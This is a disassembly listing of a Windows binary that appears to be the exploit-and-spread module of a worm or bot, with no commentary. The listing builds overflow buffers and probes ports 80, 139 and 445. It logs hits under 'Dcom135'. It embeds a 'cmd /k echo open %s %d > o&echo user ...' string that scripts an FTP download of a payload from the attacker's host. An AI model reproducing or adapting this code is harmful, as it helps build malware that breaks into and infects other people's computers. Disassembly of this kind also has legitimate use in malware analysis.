ebx retn sub_403F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FD2 proc near ; CODE XREF: sub_404108+89p ; sub_404108+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_438FB4 call sub_403ED8 lea ecx, [ebp+var_8] call sub_403F46 mov eax, [ebp+var_4] inc eax push eax call sub_415DA9 mov edi, eax pop ecx test edi, edi jnz short loc_40400C xor al, al jmp short loc_404048 ; --------------------------------------------------------------------------- loc_40400C: ; CODE XREF: sub_403FD2+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415550 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4155B0 add esp, 18h mov ecx, esi call sub_403F2D mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_403F2D mov al, 1 loc_404048: ; CODE XREF: sub_403FD2+38j pop edi pop esi leave retn sub_403FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40404C proc near ; CODE XREF: sub_404080+14p ; sub_40409D+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40404C endp ; =============== S U B R O U T I N E ======================================= sub_404080 proc near ; CODE XREF: sub_404108+F0p ; sub_404108+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_415CD0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40404C pop esi retn 4 sub_404080 endp ; =============== S U B R O U T I N E ======================================= sub_40409D proc near ; CODE XREF: sub_4040E9+Bp ; sub_404108+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40404C retn 8 sub_40409D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040AD proc near ; CODE XREF: sub_4040E9+16p ; sub_404108+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_403F46 test al, al jz short loc_4040E6 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4263DB+1) call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4040E6: ; CODE XREF: sub_4040AD+Fj pop esi leave retn sub_4040AD endp ; =============== S U B R O U T I N E ======================================= sub_4040E9 proc near ; CODE XREF: sub_404108+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40409D test al, al jz short loc_404104 mov ecx, esi call sub_4040AD loc_404104: ; CODE XREF: sub_4040E9+12j pop esi retn 8 sub_4040E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404108 proc near ; CODE XREF: seg000:0040498Dp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_403E94 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40445C mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40445C push esi lea ecx, [ebp+var_30] call sub_403E94 lea ecx, [ebp+var_20] call sub_403E94 lea ecx, [ebp+var_50] call sub_403E94 lea ecx, [ebp+var_18] call sub_403E94 lea ecx, [ebp+var_40] call sub_403E94 lea ecx, [ebp+var_38] call sub_403E94 lea ecx, [ebp+var_28] call sub_403E94 push 4 push offset dword_42607C lea ecx, [ebp+var_30] call sub_40404C push 3 push offset dword_426084 lea ecx, [ebp+var_30] call sub_40404C lea ecx, [ebp+var_30] call sub_403FD2 lea ecx, [ebp+var_30] call sub_4040AD mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415550 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40404C push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40404C mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40404C lea ecx, [ebp+var_20] call sub_403FD2 push offset loc_426404 lea ecx, [ebp+var_50] call sub_404080 lea ecx, [ebp+var_50] call sub_403FD2 push esi lea eax, [ebp+var_858] push 44h push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403E9E lea ecx, [ebp+var_58] call sub_403FD2 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4040E9 lea ecx, [ebp+var_58] call sub_403F2D push esi lea eax, [ebp+var_858] push 43h push eax call sub_415550 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_404080 push 4 push offset dword_426088 lea ecx, [ebp+var_18] call sub_40404C push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40404C sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40404C lea ecx, [ebp+var_18] call sub_403FD2 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40409D push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40409D lea ecx, [ebp+var_40] call sub_4040AD lea ecx, [ebp+var_18] call sub_403F2D lea ecx, [ebp+var_50] call sub_403F2D push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40409D push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40409D push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40409D lea ecx, [ebp+var_38] call sub_4040AD lea ecx, [ebp+var_20] call sub_403F2D lea ecx, [ebp+var_30] call sub_403F2D lea ecx, [ebp+var_40] call sub_403F2D push esi lea eax, [ebp+var_858] push 41h push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40404C lea ecx, [ebp+var_28] call sub_403FD2 push 2 push offset dword_4263F8 lea ecx, [ebp+var_28] call sub_40404C push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40409D lea ecx, [ebp+var_28] call sub_4040AD lea ecx, [ebp+var_38] call sub_403F2D lea ecx, [ebp+var_10] call sub_403E94 lea ecx, [ebp+var_8] call sub_403E94 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_28] call sub_403F2D push offset dword_4263F4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263F0 lea ecx, [ebp+var_10] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_8] call sub_403F2D push offset dword_4263E4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263E0 lea ecx, [ebp+var_48] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_8] call sub_403F2D mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40446A ; --------------------------------------------------------------------------- loc_40445C: ; CODE XREF: sub_404108+1Bj ; sub_404108+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40446A: ; CODE XREF: sub_404108+352j pop edi pop ebx leave retn sub_404108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40446E proc near ; CODE XREF: sub_404532+A1p ; sub_404532+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_4211D0 ; select cmp eax, edi jnz short loc_4044D5 lea eax, [ebp+var_10C] push eax push esi call sub_4200E6 ; __WSAFDIsSet test eax, eax jnz short loc_4044D9 loc_4044D5: ; CODE XREF: sub_40446E+54j xor eax, eax jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044D9: ; CODE XREF: sub_40446E+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_43A390 ; recv loc_4044E9: ; CODE XREF: sub_40446E+69j pop edi pop esi leave retn sub_40446E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044ED proc near ; CODE XREF: sub_404532+81p ; sub_404532+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_43A374 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp eax, 4 jz short loc_404517 xor al, al leave retn ; --------------------------------------------------------------------------- loc_404517: ; CODE XREF: sub_4044ED+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_43A3C8 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_4044ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404532 proc near ; CODE XREF: sub_40460C+48p ; seg000:00404A88p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415DA9 mov esi, eax pop ecx test esi, esi jnz short loc_40455B xor al, al jmp loc_404607 ; --------------------------------------------------------------------------- loc_40455B: ; CODE XREF: sub_404532+20j push ebx push 0 push esi call sub_415550 push 2Fh push offset dword_426118 push esi call sub_4155B0 push 8 lea eax, [esi+31h] push offset dword_426148 push eax mov [esi+2Fh], di call sub_4155B0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4155B0 push 6 add ebx, edi push offset dword_438FAC push ebx call sub_4155B0 mov ebx, [ebp+arg_0] push 85h push offset dword_426090 push ebx call sub_4044ED add esp, 48h test al, al jnz short loc_4045C3 loc_4045BF: ; CODE XREF: sub_404532+B5j xor bl, bl jmp short loc_4045FE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_404532+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E push [ebp+var_4] push esi push ebx call sub_4044ED add esp, 1Ch test al, al jz short loc_4045BF push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E add esp, 10h mov bl, 1 loc_4045FE: ; CODE XREF: sub_404532+8Fj push esi call sub_415E1D pop ecx mov al, bl loc_404607: ; CODE XREF: sub_404532+24j pop edi pop esi pop ebx leave retn sub_404532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40460C proc near ; CODE XREF: seg000:00404A6Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_426154 push [ebp+arg_0] call ds:dword_4211EC ; send cmp eax, 48h jnz short loc_404647 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40446E add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_404647 cmp [ebp+var_20], 82h jz short loc_40464B loc_404647: ; CODE XREF: sub_40460C+1Bj ; sub_40460C+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40464B: ; CODE XREF: sub_40460C+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_404532 add esp, 0Ch leave retn sub_40460C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_421240 call sub_415F6C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_421238 fstp [esp+10h+var_10] call sub_415E4C fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415F6C inc eax leave retn sub_40465E endp ; =============== S U B R O U T I N E ======================================= sub_4046AA proc near ; CODE XREF: sub_40484C+24p var_40 = qword ptr -40h mov eax, offset loc_420243 call sub_416438 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404D21 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40465E cmp [ebp-2Ch], eax pop ecx jnb short loc_4046EC push edi push eax lea ecx, [ebp-38h] call sub_404C9C loc_4046EC: ; CODE XREF: sub_4046AA+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404809 mov ebx, [ebp+10h] loc_4046FB: ; CODE XREF: sub_4046AA+156j cmp dword ptr [ebp+10h], 3 jb short loc_404705 push 3 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_4046AA+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40470F push 2 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_40470F: ; CODE XREF: sub_4046AA+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_404718 push 1 loc_404717: ; CODE XREF: sub_4046AA+59j ; sub_4046AA+63j pop ebx loc_404718: ; CODE XREF: sub_4046AA+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_421250 fstp [esp+40h+var_40] call sub_415F93 pop ecx pop ecx call sub_415F6C cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_404757 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_404757: ; CODE XREF: sub_4046AA+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_4047C5 add [ebp-18h], eax loc_4047A9: ; CODE XREF: sub_4046AA+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_4261A0[eax] push eax push 1 call sub_404B1E inc esi cmp esi, [ebp-1Ch] jb short loc_4047A9 loc_4047C5: ; CODE XREF: sub_4046AA+FAj cmp dword ptr [ebp-18h], 48h jb short loc_4047E3 push dword ptr [ebp+14h] call sub_415CD0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_404B77 mov [ebp-18h], edi loc_4047E3: ; CODE XREF: sub_4046AA+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4047FD sub esi, [ebp-1Ch] loc_4047EE: ; CODE XREF: sub_4046AA+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404B1E dec esi jnz short loc_4047EE loc_4047FD: ; CODE XREF: sub_4046AA+13Fj cmp [ebp+10h], edi ja loc_4046FB push 1 pop ebx loc_404809: ; CODE XREF: sub_4046AA+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404D21 push ds:dword_421248 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404BCE mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404D21 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4046AA endp ; =============== S U B R O U T I N E ======================================= sub_40484C proc near ; CODE XREF: seg000:00404A51p mov eax, offset loc_420260 call sub_416438 sub esp, 10h push ebx push esi push edi push offset byte_438F9C lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_4046AA mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415DA9 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_404896 xor bl, bl jmp short loc_4048DA ; --------------------------------------------------------------------------- loc_404896: ; CODE XREF: sub_40484C+44j mov ecx, [ebp-18h] mov eax, offset dword_421258 cmp ecx, ebx jnz short loc_4048A4 mov ecx, eax loc_4048A4: ; CODE XREF: sub_40484C+54j cmp [ebp+18h], ebx jz short loc_4048AC mov eax, [ebp+18h] loc_4048AC: ; CODE XREF: sub_40484C+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_415A4A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call ds:dword_43A3C8 ; send cmp eax, esi jz short loc_4048D1 xor bl, bl jmp short loc_4048D3 ; --------------------------------------------------------------------------- loc_4048D1: ; CODE XREF: sub_40484C+7Fj mov bl, 1 loc_4048D3: ; CODE XREF: sub_40484C+83j push edi call sub_415E1D pop ecx loc_4048DA: ; CODE XREF: sub_40484C+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404D21 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40484C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 624h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_42634C push eax call sub_4155B0 add esp, 0Ch mov eax, offset aTilesoft_com ; "Tilesoft.com" push eax push eax push ds:dword_438FBC push dword ptr [ebp+8] call sub_40A155 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_415A4A add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4261E4 push eax call sub_404108 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_4049AD xor eax, eax jmp loc_404B11 ; --------------------------------------------------------------------------- loc_4049AD: ; CODE XREF: seg000:004049A4j mov [ebp-0Ch], esi loc_4049B0: ; CODE XREF: seg000:00404AB0j test esi, esi jnz loc_404AB6 push 6 push 1 push 2 call ds:dword_4211E0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404A9E xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call ds:dword_43A378 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call ds:dword_43A3B8 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz loc_404A93 cmp dword ptr [ebp+0A8h], 50h jnz short loc_404A5B mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404D21 lea eax, [ebp+0Ch] push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_404D5D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40484C add esp, 1Ch jmp short loc_404A90 ; --------------------------------------------------------------------------- loc_404A5B: ; CODE XREF: seg000:00404A19j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_404A75 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40460C jmp short loc_404A8D ; --------------------------------------------------------------------------- loc_404A75: ; CODE XREF: seg000:00404A65j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404A93 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_404532 loc_404A8D: ; CODE XREF: seg000:00404A73j add esp, 0Ch loc_404A90: ; CODE XREF: seg000:00404A59j movzx esi, al loc_404A93: ; CODE XREF: seg000:00404A0Cj ; seg000:00404A7Fj push ebx call ds:dword_43A410 ; closesocket test esi, esi jnz short loc_404AA9 loc_404A9E: ; CODE XREF: seg000:004049C9j push 3E8h call ds:dword_421060 ; Sleep loc_404AA9: ; CODE XREF: seg000:00404A9Cj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_4049B0 loc_404AB6: ; CODE XREF: seg000:004049B2j lea ecx, [ebp-8] call sub_403F2D test esi, esi jz short loc_404B0F lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset dword_426410 lea eax, [ebp-624h] push 200h push eax call sub_415A4A lea eax, [ebp-624h] push eax call sub_40B151 mov eax, [ebp+0B0h] add esp, 18h imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] loc_404B0F: ; CODE XREF: seg000:00404AC0j mov eax, esi loc_404B11: ; CODE XREF: seg000:004049A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420224 loc_404B16: ; CODE XREF: sub_420224+3j ; seg000:0042023Dj ... push 1 call sub_404D21 retn ; END OF FUNCTION CHUNK FOR sub_420224 ; =============== S U B R O U T I N E ======================================= sub_404B1E proc near ; CODE XREF: sub_4046AA+110p ; sub_4046AA+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_421248 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B38 call sub_41FD90 loc_404B38: ; CODE XREF: sub_404B1E+13j test ebx, ebx jbe short loc_404B6F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404B6F movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415550 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404B6F: ; CODE XREF: sub_404B1E+1Cj ; sub_404B1E+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B1E endp ; =============== S U B R O U T I N E ======================================= sub_404B77 proc near ; CODE XREF: sub_4046AA+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_421248 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B91 call sub_41FD90 loc_404B91: ; CODE XREF: sub_404B77+13j test ebx, ebx jbe short loc_404BC6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404BC6 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_4155B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404BC6: ; CODE XREF: sub_404B77+1Cj ; sub_404B77+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp ; sub_41FDEA+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_404BE6 call sub_41FFBC loc_404BE6: ; CODE XREF: sub_404BCE+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_404BF8 mov esi, [ebp+arg_8] loc_404BF8: ; CODE XREF: sub_404BCE+25j cmp edi, ebx jnz short loc_404C1A push ds:dword_421248 add esi, ecx mov ecx, edi push esi call sub_404D92 push [ebp+arg_4] mov ecx, edi push 0 call sub_404D92 jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: sub_404BCE+2Cj test esi, esi jbe short loc_404C5D cmp esi, eax jnz short loc_404C5D mov eax, [ebx+4] test eax, eax jnz short loc_404C2E mov eax, offset dword_421258 loc_404C2E: ; CODE XREF: sub_404BCE+59j cmp byte ptr [eax-1], 0FEh jnb short loc_404C5D push 1 mov ecx, edi call sub_404D21 mov eax, [ebx+4] test eax, eax jnz short loc_404C49 mov eax, offset dword_421258 loc_404C49: ; CODE XREF: sub_404BCE+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C5D: ; CODE XREF: sub_404BCE+4Ej ; sub_404BCE+52j ... push 1 push esi mov ecx, edi call sub_404C9C test al, al jz short loc_404C93 mov eax, [ebx+4] test eax, eax jnz short loc_404C77 mov eax, offset dword_421258 loc_404C77: ; CODE XREF: sub_404BCE+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4155B0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_404C93: ; CODE XREF: sub_404BCE+4Aj ; sub_404BCE+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404BCE endp ; =============== S U B R O U T I N E ======================================= sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp ; sub_404B1E+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_404CAE call sub_41FD90 loc_404CAE: ; CODE XREF: sub_404C9C+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_404CD7 mov al, [ecx-1] cmp al, dl jz short loc_404CD7 cmp al, 0FFh jz short loc_404CD7 cmp edi, edx jnz short loc_404D12 dec al push edx mov [ecx-1], al loc_404CCC: ; CODE XREF: sub_404C9C+47j mov ecx, esi call sub_404D21 loc_404CD3: ; CODE XREF: sub_404C9C+4Bj ; sub_404C9C+52j xor al, al jmp short loc_404D1C ; --------------------------------------------------------------------------- loc_404CD7: ; CODE XREF: sub_404C9C+19j ; sub_404C9C+20j ... cmp edi, edx jnz short loc_404CF0 cmp [esp+8+arg_4], dl jz short loc_404CE5 push 1 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CE5: ; CODE XREF: sub_404C9C+43j cmp ecx, edx jz short loc_404CD3 mov [esi+8], edx mov [ecx], dl jmp short loc_404CD3 ; --------------------------------------------------------------------------- 